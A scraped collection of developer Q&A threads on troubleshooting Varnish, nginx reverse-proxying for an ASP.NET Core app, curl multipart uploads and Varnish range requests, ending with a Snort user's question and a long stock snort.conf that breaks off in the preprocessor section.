Varnish error : no backend connection - varnish

I tried to install Varnish on my debian 7 with apache2.
But when i type www.mydomain.com:6081 to test the connection, i got a 503 error service unavaible.
Varnish log says :
12 Hash c www.mywebsite.com:6081
12 VCL_return c hash
12 VCL_call c pass pass
12 FetchError c no backend connection
12 VCL_call c error deliver
12 VCL_call c deliver deliver
12 TxProtocol c HTTP/1.1
12 TxStatus c 503
My etc/varnish/default.vcl file :
(only one backend for now)
backend site1 {
.host = "92.243.5.12"; // ip adress for www.mydomain.com
.port = "8080";
.connect_timeout = 6000s;
.first_byte_timeout = 6000s;
.between_bytes_timeout = 6000s;
}
# Default backend is set to site1
set req.backend = site1;
My etc/default/varnish file :
DAEMON_OPTS="-a :80
-T localhost:6082
-f /etc/varnish/default.vcl
-S /etc/varnish/secret
-p thread_pool_add_delay=2
-p thread_pools=4
-p thread_pool_min=200
-p thread_pool_max=4000
-p cli_timeout=25
-p session_linger=100
-s file,/var/lib/varnish/$INSTANCE/varnish_storage.bin,1G"
Thank you very much

In your conf file, you are making varnish listen to port 80 and you are sending requests to port 6081, that may be a reason.

Related

aspNet core Linux 404 not found from LAN

I deployed my first .netCore application on Linux environment. Using Lubuntu 18.04.
I tried first with apache2, but since I had a problem reaching it from outside, I configured nginx and tried without much success to do it.
My application is running on port 5000 with dotnet command, as follow
usr:/inetpub/www/WebApi$ dotnet WebApi.dll --urls=http://:::5000/
Hosting environment: Production
Content root path: /inetpub/www/WebApi
Now listening on: http://[::]:5000
Application started. Press Ctrl+C to shut down.
And this is the Program.cs file where I read for the --url input parameter:
public class Program
{
public static void Main(string[] args)
{
XmlDocument log4netConfig = new XmlDocument();
log4netConfig.Load(File.OpenRead("log4net.config"));
ILoggerRepository repo = LogManager.CreateRepository(Assembly.GetEntryAssembly(),
typeof(log4net.Repository.Hierarchy.Hierarchy));
log4net.Config.XmlConfigurator.Configure(repo, log4netConfig["log4net"]);
//CreateWebHostBuilder(args).Build().Run();
if (args != null && args.Count() > 0)
{
var configuration = new ConfigurationBuilder()
.AddCommandLine(args)
.Build();
var host = new WebHostBuilder()
.UseKestrel()
.UseContentRoot(Directory.GetCurrentDirectory())
.UseConfiguration(configuration)
.UseIISIntegration()
.UseStartup<Startup>()
.Build();
host.Run();
}
else
{
var host = new WebHostBuilder()
.UseKestrel()
.UseContentRoot(Directory.GetCurrentDirectory())
.UseIISIntegration()
.UseStartup<Startup>()
.UseUrls("http://*:8080/")
.Build();
host.Run();
}
}
}
This is my default file inside nginx's sites-available folder.
server {
listen 80;
server_name _;
location / {
proxy_pass http://localhost:5000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection keep-alive;
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
This is my nginx.conf file
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
This is my WebApi Core Startup.cs file
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.Configure<CookiePolicyOptions>(options =>
{
options.CheckConsentNeeded = context => true;
options.MinimumSameSitePolicy = SameSiteMode.None;
});
services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_1);
DapperExtensions.DapperExtensions.SqlDialect = new DapperExtensions.Sql.MySqlDialect();
ConnectionString connectionString = new ConnectionString();
connectionString._ConnectionString = new Parameters.AppSettingsParameter().getConnectionString();
services.AddSingleton<IConnectionString>(connectionString);
services.AddScoped<ICustomerRepository>(x => new Infrastructure.Dapper.EntitiesRepository.CustomerRepository(connectionString));
services.AddScoped<IDeviceRepository>(x => new Infrastructure.Dapper.EntitiesRepository.DeviceRepository(connectionString));
services.AddScoped<IWebApiVideoRepository>(x => new Infrastructure.Dapper.EntitiesRepository.WebApiVideoRepository(connectionString));
services.AddScoped<IMessageServiceTokenRepository>(x => new Infrastructure.Dapper.EntitiesRepository.MessageServiceTokenRepository(connectionString));
services.AddScoped<IPriceRepository>(x => new Infrastructure.Dapper.EntitiesRepository.PriceRepository(connectionString));
services.AddScoped<IServiceRepository>(x => new Infrastructure.Dapper.EntitiesRepository.ServiceRepository(connectionString));
services.AddScoped<IWebApiVideoDownloadFromDeviceRepository>(x => new Infrastructure.Dapper.EntitiesRepository.WebApiVideoDownloadFromDeviceRepository(connectionString));
services.AddScoped<IWebApiVideoValidationRefusedRepository>(x => new Infrastructure.Dapper.EntitiesRepository.WebApiVideoValidationRefusedRepository(connectionString));
services.AddScoped<ITokenKeyRepository>(x => new Infrastructure.Dapper.EntitiesRepository.TokenKeyRepository(connectionString));
}
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseHttpsRedirection();
app.UseStaticFiles();
app.UseCookiePolicy();
app.UseMiddleware<RequestResponseLoggingMiddleware>();
app.UseMvc(routes =>
{
routes.MapRoute(
name: "default",
template: "{controller=Init}/{action=Initialize}");
});
}
}
If I go to localhost, I can ping the application running on 5000 port.
Going from another computer to 192.168.1.46 (my linux pc's address) gets the 404 error page.
This is the result from nmap command:
PORT STATE SERVICE
80/tcp open http
this is my iptable -L command:
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT tcp -- anywhere anywhere tcp dpt:http
2 ufw-before-logging-input all -- anywhere anywhere
3 ufw-before-input all -- anywhere anywhere
4 ufw-after-input all -- anywhere anywhere
5 ufw-after-logging-input all -- anywhere anywhere
6 ufw-reject-input all -- anywhere anywhere
7 ufw-track-input all -- anywhere anywhere
8 ACCEPT all -- anywhere anywhere
9 ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:http
Chain FORWARD (policy ACCEPT)
num target prot opt source destination
1 ufw-before-logging-forward all -- anywhere anywhere
2 ufw-before-forward all -- anywhere anywhere
3 ufw-after-forward all -- anywhere anywhere
4 ufw-after-logging-forward all -- anywhere anywhere
5 ufw-reject-forward all -- anywhere anywhere
6 ufw-track-forward all -- anywhere anywhere
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
1 ufw-before-logging-output all -- anywhere anywhere
2 ufw-before-output all -- anywhere anywhere
3 ufw-after-output all -- anywhere anywhere
4 ufw-after-logging-output all -- anywhere anywhere
5 ufw-reject-output all -- anywhere anywhere
6 ufw-track-output all -- anywhere anywhere
Chain ufw-after-forward (1 references)
num target prot opt source destination
Chain ufw-after-input (1 references)
num target prot opt source destination
Chain ufw-after-logging-forward (1 references)
num target prot opt source destination
Chain ufw-after-logging-input (1 references)
num target prot opt source destination
Chain ufw-after-logging-output (1 references)
num target prot opt source destination
Chain ufw-after-output (1 references)
num target prot opt source destination
Chain ufw-before-forward (1 references)
num target prot opt source destination
Chain ufw-before-input (1 references)
num target prot opt source destination
Chain ufw-before-logging-forward (1 references)
num target prot opt source destination
Chain ufw-before-logging-input (1 references)
num target prot opt source destination
Chain ufw-before-logging-output (1 references)
num target prot opt source destination
Chain ufw-before-output (1 references)
num target prot opt source destination
Chain ufw-reject-forward (1 references)
num target prot opt source destination
Chain ufw-reject-input (1 references)
num target prot opt source destination
Chain ufw-reject-output (1 references)
num target prot opt source destination
Chain ufw-track-forward (1 references)
num target prot opt source destination
Chain ufw-track-input (1 references)
num target prot opt source destination
Chain ufw-track-output (1 references)
num target prot opt source destination
This is my netstat command:
Proto CodaRic CodaInv Indirizzo locale Indirizzo remoto Stato PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 21391/mysqld
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 19096/nginx: master
tcp 0 0 0.0.0.0:55250 0.0.0.0:* LISTEN 17341/anydesk
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 738/systemd-resolve
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 29185/cupsd
tcp 0 0 0.0.0.0:7070 0.0.0.0:* LISTEN 17341/anydesk
tcp6 0 0 :::5000 :::* LISTEN 19464/dotnet
tcp6 0 0 :::80 :::* LISTEN 19096/nginx: master
tcp6 0 0 :::21 :::* LISTEN 1037/vsftpd
tcp6 0 0 ::1:631 :::* LISTEN 29185/cupsd
udp 0 0 0.0.0.0:60895 0.0.0.0:* 938/avahi-daemon: r
udp 0 0 127.0.0.53:53 0.0.0.0:* 738/systemd-resolve
udp 0 0 0.0.0.0:68 0.0.0.0:* 1691/dhclient
udp 0 0 0.0.0.0:631 0.0.0.0:* 29186/cups-browsed
udp 0 0 224.0.0.251:5353 0.0.0.0:* 29228/chrome
udp 0 0 224.0.0.251:5353 0.0.0.0:* 29228/chrome
udp 0 0 0.0.0.0:5353 0.0.0.0:* 938/avahi-daemon: r
udp6 0 0 :::39611 :::* 938/avahi-daemon: r
udp6 0 0 :::5353 :::* 938/avahi-daemon: r
This is the log from this command: sudo tcpdump -i any tcp port 80 when I try to call my ip from another pc in LAN:
00:06:31.785311 IP 192.168.1.44.63326 > WebApi.http: Flags [F.], seq 1, ack 1, win 256, length 0
00:06:31.785407 IP WebApi.http > 192.168.1.44.63326: Flags [F.], seq 1, ack 2, win 229, length 0
00:06:31.785599 IP 192.168.1.44.63362 > WebApi.http: Flags [S], seq 1225666604, win 64240, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
00:06:31.785635 IP WebApi.http > 192.168.1.44.63362: Flags [S.], seq 4261901272, ack 1225666605, win 29200, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
00:06:31.787248 IP 192.168.1.44.63327 > WebApi.http: Flags [P.], seq 461:921, ack 138, win 256, length 460: HTTP: GET / HTTP/1.1
00:06:31.787272 IP WebApi.http > 192.168.1.44.63327: Flags [.], ack 921, win 245, length 0
00:06:31.788867 IP WebApi.http > 192.168.1.44.63327: Flags [P.], seq 138:275, ack 921, win 245, length 137: HTTP: HTTP/1.1 404 Not Found
00:06:31.790175 IP 192.168.1.44.63326 > WebApi.http: Flags [.], ack 2, win 256, length 0
00:06:31.790513 IP 192.168.1.44.63362 > WebApi.http: Flags [.], ack 1, win 256, length 0
00:06:31.832376 IP 192.168.1.44.63327 > WebApi.http: Flags [.], ack 275, win 255, length 0
I'm struggling on that and I can't figure out how the hell I can make it work.
The only thing I can say is that if my dotnet application is running, I get the 404 error. If it's not running I get the 502 Bad Gateway error.
What the hell can I do to make it work?
PS: I added everything I thought at, if it misses something, feel free to ask for implementations
Thanks you all
Somehow I suppose a file got corrupted during the publish process; I deleted and copied back all files of my .netCore project and things started to work.
That said, I will keep this question since I think it shares some configurations that might be useful to someone else, since at this point I suppose those are correct :)
Thanks anyway for the support

CURL multipart form post - HTTP error before end of send, stop sending

I am sending a multipart form POST via CURL from Linux shell script. The request works fine in Postman but from CURL it fails with:
Internal Server Error
then
HTTP error before end of send, stop sending
I even copy the Curl for Linux Shell code directly from Postman and paste into the shell script, so it should be exactly the same request that Postman is making.
Here is the command:
curl --request POST \
--no-alpn \
--url https://XXXXXXXXXXX/api/v1.0/XXXXX/XXXXXX/XXXXX \
--header 'accept: text/plain' \
--header 'cache-control: no-cache' \
--header 'content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
--header 'sessionid: $session_id' \
--form filename=XXXXXX.zip \
--form XXXXXX=XXXXXX \
--form file=#$file_path \
--trace-ascii /dev/stdout || exit $?
}
And here is the log from --trace-ascii:
https://XXXXXXXXXXXXXXXXX/api/v1.0/XXXXXX/XXXXX/XXXXXXXXX
Note: Unnecessary use of -X or --request, POST is already inferred.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0== Info: Trying XXX.XXX.XXX.XXXX...
== Info: Connected to XXXXXXXXXXXXXXXX.com (XX.XX.XX.XX) port 443 (#0)
== Info: found 148 certificates in /etc/ssl/certs/ca-certificates.crt
== Info: found 592 certificates in /etc/ssl/certs
== Info: SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
== Info: server certificate verification OK
== Info: server certificate status verification SKIPPED
== Info: common name: *.XXXXXX.com (matched)
== Info: server certificate expiration date OK
== Info: server certificate activation date OK
== Info: certificate public key: RSA
== Info: certificate version: #3
== Info: subject: OU=Domain Control Validated,CN=*.XXXXXX.com
== Info: start date: Mon, 15 Aug 2016 08:23:38 GMT
== Info: expire date: Thu, 15 Aug 2019 08:23:38 GMT
== Info: issuer: C=US,ST=Arizona,L=Scottsdale,O=GoDaddy.com\, Inc.,OU=http://certs.godaddy.com/repository/,CN=Go Daddy Secure Certificate Authority - G2
== Info: compression: NULL
=> Send header, 363 bytes (0x16b)
0000: POST /XXXXX/api/v1.0/XXXXXX/upload/XXXXXX HTTP/1.1
003b: Host: XXXXXX.XXXXXXX.com
0059: User-Agent: curl/7.47.0
0072: accept: text/plain
0086: cache-control: no-cache
009f: sessionid: $session_id
00b7: Content-Length: 1639
00cd: Expect: 100-continue
00e3: content-type: multipart/form-data; boundary=----WebKitFormBounda
0123: ry7MA4YWxkTrZu0gW; boundary=------------------------b059847fb557
0163: a899
0169:
<= Recv header, 23 bytes (0x17)
0000: HTTP/1.1 100 Continue
=> Send data, 387 bytes (0x183)
0000: --------------------------b059847fb557a899
002c: Content-Disposition: form-data; name="filename"
005d:
005f: xxxxxxxxxx.zip
006b: --------------------------b059847fb557a899
0097: Content-Disposition: form-data; name="XXXXXXXXXXX"
00cc:
00ce: XXXXXXXXXXXXXXXXXXXX
00ea: --------------------------b059847fb557a899
0116: Content-Disposition: form-data; name="file"; filename="XXXXXX.zip
0156: "
0159: Content-Type: application/octet-stream
0181:
=> Send data, 1204 bytes (0x4b4)
0000: PK........r~.K..D!....p.......output/XXXXXXX.XXXXX.....7Z..7Zux...
0040: ............{LSW....#.!`.9. F..Eh+.......JA..W.2.V...A.%>... #Q1
0080: T.....{Nb.]&..1.3M|.........w..z.]8..I.I>.....n?...\hM/.h..?oy^.
00c0: ..... ..:.>J..Q...N...*A...l`...."..N...#.P'........d..._.....L
0100: .].......z....N6.B......Y5t...Zd.V...}..l...........EC..$..e...W
0140: .V`.lV...p..d._.....S...............d`.l..}.....f[...{....`....M
0180: .....kN..[.4.2w.9.bN....q.8.'.K.......'..~........sI.....K...s.
01c0: ...U.'..d,.......>......T.5....|.$,)o'bIy{...pN.....K.o..[..cWp.
0200: c.#..B.S........d.I..P./.F..0....=4.......d..#{K$..#.^=.......
0240: *....Bi...i....8j!T......|.Ld...x....>......A...|.I.}>.....Yt=..
0280: ..Tp.q...O&.. .....Ac..V....a......f.G...!x.f.i.gu}.2i.4....NK..
02c0: .G;..k~......=*....g..c#..c.M.oW........-...vW.~#u...#....cz.bu=
0300: .."Bs.js\.z.1.....&|.MV..<a"4...IqRO.kKC.v.Gz.....].G.\.|...:om
0340: .C.v5G..X].kw..\....R/.........C.X].5<.B.\'....z.O|#.v.P\......
0380: ^...f~........9....YG~fum}....^,K.......F.vmIl....hI."h.FM.....f
03c0: ....Z...`um.}E...1;......_....yF.xV...BDh...U..z...*.o.`O..V.W.6
0400: ..kf.n...*.{..].].c~.w~K......4I.k.Y.....r.wV.................F
0440: .v..O..OPK..........r~.K..D!....p.....................output/xxxxxxx
.mldUT.....7Zux.............PK..........V...H.....
=> Send data, 48 bytes (0x30)
0000:
0002: --------------------------b059847fb557a899--
<= Recv header, 36 bytes (0x24)
0000: HTTP/1.1 500 Internal Server Error
<= Recv header, 15 bytes (0xf)
0000: Server: nginx
<= Recv header, 37 bytes (0x25)
0000: Date: Mon, 18 Dec 2017 15:15:56 GMT
<= Recv header, 26 bytes (0x1a)
0000: Content-Type: text/plain
<= Recv header, 28 bytes (0x1c)
0000: Transfer-Encoding: chunked
<= Recv header, 24 bytes (0x18)
0000: Connection: keep-alive
100 1639 0 0 100 1639 0 2269 --:--:-- --:--:-- --:--:-- 2266<= Recv header, 29 bytes (0x1d)
0000: X-FRAME-OPTIONS: SAMEORIGIN
<= Recv header, 83 bytes (0x53)
0000: Set-Cookie: JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXX; Path=/;
0040: Secure; HttpOnly
== Info: HTTP error before end of send, stop sending
<= Recv header, 2 bytes (0x2)
0000:
<= Recv data, 106 bytes (0x6a)
0000: 64
0004: <ErrorResponse><key/><localizedMessage/><httpError>Internal Serv
0044: er Error</httpError></ErrorResponse>
<= Recv data, 5 bytes (0x5)
0000: 0
0003:
I should add that the CURL command is being run from a Docker container.
There's a problem in you curl command : $session_id have single quotes around, so the variable will never be evaluated.
"Double quote" every literal that contains spaces/metacharacters and every expansion: "$var", "$(command "$var")", "${array[#]}", "a & b". Use 'single quotes' for code or literal $'s: 'Costs $5 US', ssh host 'echo "$HOSTNAME"'. See
http://mywiki.wooledge.org/Quotes
http://mywiki.wooledge.org/Arguments
http://wiki.bash-hackers.org/syntax/words
In my particular case the problem was that I was sending session ID surrounded in double quotes, so the server failed to parse as a number, threw an exception and rejected the request. Had to get hold of the server logs to figure that out.
Reason session ID was in double quotes was because earlier on in the code, I was setting the session ID using:
someJson | jq '.sessionId'
If you do this, jq will return the result in double quotes. To get the value without the double quotes, use:
someJson | jq -r '.sessionId'

Varnish Breaking Social Sharing

Facebook uses a curl with range option to retrieve HTML of a page for sharing. Varnish is only returning page header info and not the html. This is the result I would say 75% to 80% of the time. Every once in a while it returns the correct Result
Anyone have an Idea how to fix this.
Example
#curl -v -H Range:bytes=0-524288 http://americanactionnews.com/articles/huge-protest-calls-for-death-to-usa-demands-isis-control
* Trying 52.45.101.42...
* TCP_NODELAY set
* Connected to americanactionnews.com (52.45.101.42) port 80 (#0)
> GET /articles/huge-protest-calls-for-death-to-usa-demands-isis-control HTTP/1.1
> Host: americanactionnews.com
> User-Agent: curl/7.51.0
> Accept: */*
> Range:bytes=0-524288
>
< HTTP/1.1 206 Partial Content
< Content-Type: text/html; charset=utf-8
< Status: 200 OK
< X-Frame-Options: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< Date: Fri, 23 Dec 2016 16:39:46 GMT
< Cache-Control: max-age=300, public
< X-Request-Id: 8007fb76-3878-430d-845c-06a8710ae1ae
< X-Runtime: 0.247333
< X-Powered-By: Phusion Passenger 4.0.55
< Server: nginx/1.6.2 + Phusion Passenger 4.0.55
< X-Varnish-TTL: 300.000
< X-Varnish: 65578
< Age: 0
< Via: 1.1 varnish-v4
< X-Cache: MISS
< Transfer-Encoding: chunked
< Connection: keep-alive
< Accept-Ranges: bytes
< Content-Range: bytes 0-15/16
<
* Curl_http_done: called premature == 0
* Connection #0 to host americanactionnews.com left intact
We have found the answer and made some modifications to our varnish based on the following link and it seems to be working.
https://info.varnish-software.com/blog/caching-partial-objects-varnish
It looks like it is actually your backend server (Nginx) that is the problem. Especially considering your mentioned hit-rate-like success rate :) Plus, the failure's example is a MISS (delivered from backend server).
Make sure that you don't have anything in your Nginx configuration that prevents range requests, i.e. one popular thing that breaks it is:
ssi on;
ssi_types *;

Snort log file output format

I have been using Snort for my school project.
My problem is that the log files are in binary format and I am not able to read them using less/cat/vi. How do I do this?
I have specified in my snort.conf file unified2 format.
Here is my snort.conf file
--------------------------------------------------
# VRT Rule Packages Snort.conf
#
# For more information visit us at:
# http://www.snort.org Snort Website
# http://vrt-blog.snort.org/ Sourcefire VRT Blog
#
# Mailing list Contact: snort-sigs#lists.sourceforge.net
# False Positive reports: fp#sourcefire.com
# Snort bugs: bugs#snort.org
#
# Compatible with Snort Versions:
# VERSIONS : 2.9.6.2
#
# Snort build options:
# OPTIONS : --enable-gre --enable-mpls --enable-targetbased --enable-ppm --enable-perfprofiling --enable-zlib --enable-active-response --enable-normalizer --enable-reload --enable-react --enable-flexresp3
#
# Additional information:
# This configuration file enables active response, to run snort in
# test mode -T you are required to supply an interface -i <interface>
# or test mode will fail to fully validate the configuration and
# exit with a FATAL error
#--------------------------------------------------
###################################################
# This file contains a sample snort configuration.
# You should take the following steps to create your own custom configuration:
#
# 1) Set the network variables.
# 2) Configure the decoder
# 3) Configure the base detection engine
# 4) Configure dynamic loaded libraries
# 5) Configure preprocessors
# 6) Configure output plugins
# 7) Customize your rule set
# 8) Customize preprocessor and decoder rule set
# 9) Customize shared object rule set
###################################################
###################################################
# Step #1: Set the network variables. For more information, see README.variables
###################################################
# Setup the network addresses you are protecting
ipvar HOME_NET any
# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET any
# List of DNS servers on your network
ipvar DNS_SERVERS $HOME_NET
# List of SMTP servers on your network
ipvar SMTP_SERVERS $HOME_NET
# List of web servers on your network
ipvar HTTP_SERVERS $HOME_NET
# List of sql servers on your network
ipvar SQL_SERVERS $HOME_NET
# List of telnet servers on your network
ipvar TELNET_SERVERS $HOME_NET
# List of ssh servers on your network
ipvar SSH_SERVERS $HOME_NET
# List of ftp servers on your network
ipvar FTP_SERVERS $HOME_NET
# List of sip servers on your network
ipvar SIP_SERVERS $HOME_NET
# List of ports you run web servers on
portvar HTTP_PORTS [36,80,81,82,83,84,85,86,87,88,89,90,311,383,555,591,593,631,801,808,818,901,972,1158,1220,1414,1533,1741,1830,1942,2231,2301,2381,2809,2980,3029,3037,3057,3128,3443,3702,4000,4343,4848,5000,5117,5250,5600,6080,6173,6988,7000,7001,7071,7144,7145,7510,7770,7777,7778,7779,8000,8008,8014,8028,8080,8081,8082,8085,8088,8090,8118,8123,8180,8181,8222,8243,8280,8300,8333,8344,8500,8509,8800,8888,8899,8983,9000,9060,9080,9090,9091,9111,9290,9443,9999,10000,11371,12601,13014,15489,29991,33300,34412,34443,34444,41080,44449,50000,50002,51423,53331,55252,55555,56712]
# List of ports you want to look for SHELLCODE on.
portvar SHELLCODE_PORTS !80
# List of ports you might see oracle attacks on
portvar ORACLE_PORTS 1024:
# List of ports you want to look for SSH connections on:
portvar SSH_PORTS 22
# List of ports you run ftp servers on
portvar FTP_PORTS [21,2100,3535]
# List of ports you run SIP servers on
portvar SIP_PORTS [5060,5061,5600]
# List of file data ports for file inspection
portvar FILE_DATA_PORTS [$HTTP_PORTS,110,143]
# List of GTP ports for GTP preprocessor
portvar GTP_PORTS [2123,2152,3386]
# other variables, these should not be modified
ipvar AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24]
# Path to your rules files (this can be a relative path)
# Note for Windows users: You are advised to make this an absolute path,
# such as: c:\snort\rules
var RULE_PATH /etc/snort/rules/rules
var SO_RULE_PATH /etc/snort/rules/so_rules
var PREPROC_RULE_PATH /etc/snort/rules/preproc_rules
# If you are using reputation preprocessor set these
var WHITE_LIST_PATH /etc/snort/rules/rules
var BLACK_LIST_PATH /etc/snort/rules/rules
###################################################
# Step #2: Configure the decoder. For more information, see README.decode
###################################################
# Stop generic decode events:
config disable_decode_alerts
# Stop Alerts on experimental TCP options
config disable_tcpopt_experimental_alerts
# Stop Alerts on obsolete TCP options
config disable_tcpopt_obsolete_alerts
# Stop Alerts on T/TCP alerts
config disable_tcpopt_ttcp_alerts
# Stop Alerts on all other TCPOption type events:
config disable_tcpopt_alerts
# Stop Alerts on invalid ip options
config disable_ipopt_alerts
# Alert if value in length field (IP, TCP, UDP) is greater th elength of the packet
# config enable_decode_oversized_alerts
# Same as above, but drop packet if in Inline mode (requires enable_decode_oversized_alerts)
# config enable_decode_oversized_drops
# Configure IP / TCP checksum mode
config checksum_mode: all
# Configure maximum number of flowbit references. For more information, see README.flowbits
# config flowbits_size: 64
# Configure ports to ignore
# config ignore_ports: tcp 21 6667:6671 1356
# config ignore_ports: udp 1:17 53
# Configure active response for non inline operation. For more information, see REAMDE.active
# config response: eth0 attempts 2
# Configure DAQ related options for inline operation. For more information, see README.daq
#
# config daq: <type>
# config daq_dir: <dir>
# config daq_mode: <mode>
# config daq_var: <var>
#
# <type> ::= pcap | afpacket | dump | nfq | ipq | ipfw
# <mode> ::= read-file | passive | inline
# <var> ::= arbitrary <name>=<value passed to DAQ
# <dir> ::= path as to where to look for DAQ module so's
# Configure specific UID and GID to run snort as after dropping privs. For more information see snort -h command line options
#
# config set_gid:
# config set_uid:
# Configure default snaplen. Snort defaults to MTU of in use interface. For more information see README
#
# config snaplen:
#
# Configure default bpf_file to use for filtering what traffic reaches snort. For more information see snort -h command line options (-F)
#
# config bpf_file:
#
# Configure default log directory for snort to log to. For more information see snort -h command line options (-l)
#
# config logdir:
config logdir:/var/log/snort/
###################################################
# Step #3: Configure the base detection engine. For more information, see README.decode
###################################################
# Configure PCRE match limitations
config pcre_match_limit: 3500
config pcre_match_limit_recursion: 1500
# Configure the detection engine See the Snort Manual, Configuring Snort - Includes - Config
config detection: search-method ac-split search-optimize max-pattern-len 20
# Configure the event queue. For more information, see README.event_queue
config event_queue: max_queue 8 log 5 order_events content_length
###################################################
## Configure GTP if it is to be used.
## For more information, see README.GTP
####################################################
# config enable_gtp
###################################################
# Per packet and rule latency enforcement
# For more information see README.ppm
###################################################
# Per Packet latency configuration
#config ppm: max-pkt-time 250, \
# fastpath-expensive-packets, \
# pkt-log
# Per Rule latency configuration
#config ppm: max-rule-time 200, \
# threshold 3, \
# suspend-expensive-rules, \
# suspend-timeout 20, \
# rule-log alert
###################################################
# Configure Perf Profiling for debugging
# For more information see README.PerfProfiling
###################################################
#config profile_rules: print all, sort avg_ticks
#config profile_preprocs: print all, sort avg_ticks
###################################################
# Configure protocol aware flushing
# For more information see README.stream5
###################################################
config paf_max: 16000
###################################################
# Step #4: Configure dynamic loaded libraries.
# For more information, see Snort Manual, Configuring Snort - Dynamic Modules
###################################################
# path to dynamic preprocessor libraries
dynamicpreprocessor directory /usr/lib64/snort-2.9.6.2_dynamicpreprocessor/
# path to base preprocessor engine
dynamicengine /usr/lib64/snort-2.9.6.2_dynamicengine/libsf_engine.so
# path to dynamic rules libraries
dynamicdetection directory /usr/local/lib/snort_dynamicrules
###################################################
# Step #5: Configure preprocessors
# For more information, see the Snort Manual, Configuring Snort - Preprocessors
###################################################
# GTP Control Channle Preprocessor. For more information, see README.GTP
# preprocessor gtp: ports { 2123 3386 2152 }
# Inline packet normalization. For more information, see README.normalize
# Does nothing in IDS mode
preprocessor normalize_ip4
preprocessor normalize_tcp: ips ecn stream
preprocessor normalize_icmp4
preprocessor normalize_ip6
preprocessor normalize_icmp6
# Target-based IP defragmentation. For more inforation, see README.frag3
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy windows detect_anomalies overlap_limit 10 min_fragment_length 100 timeout 180
# Target-Based stateful inspection/stream reassembly. For more inforation, see README.stream5
preprocessor stream5_global: track_tcp yes, \
track_udp yes, \
track_icmp no, \
max_tcp 262144, \
max_udp 131072, \
max_active_responses 2, \
min_response_seconds 5
preprocessor stream5_tcp: policy windows, detect_anomalies, require_3whs 180, \
overlap_limit 10, small_segments 3 bytes 150, timeout 180, \
ports client 21 22 23 25 42 53 70 79 109 110 111 113 119 135 136 137 139 143 \
161 445 513 514 587 593 691 1433 1521 1741 2100 3306 6070 6665 6666 6667 6668 6669 \
7000 8181 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, \
ports both 36 80 81 82 83 84 85 86 87 88 89 90 110 311 383 443 465 563 555 591 593 631 636 801 808 818 901 972 989 992 993 994 995 1158 1220 1414 1533 1741 1830 1942 2231 2301 2381 2809 2980 3029 3037 3057 3128 3443 3702 4000 4343 4848 5000 5117 5250 5600 6080 6173 6988 7907 7000 7001 7071 7144 7145 7510 7802 7770 7777 7778 7779 \
7801 7900 7901 7902 7903 7904 7905 7906 7908 7909 7910 7911 7912 7913 7914 7915 7916 \
7917 7918 7919 7920 8000 8008 8014 8028 8080 8081 8082 8085 8088 8090 8118 8123 8180 8181 8222 8243 8280 8300 8333 8344 8500 8509 8800 8888 8899 8983 9000 9060 9080 9090 9091 9111 9290 9443 9999 10000 11371 12601 13014 15489 29991 33300 34412 34443 34444 41080 44449 50000 50002 51423 53331 55252 55555 56712
preprocessor stream5_udp: timeout 180
# performance statistics. For more information, see the Snort Manual, Configuring Snort - Preprocessors - Performance Monitor
# preprocessor perfmonitor: time 300 file /var/snort/snort.stats pktcnt 10000
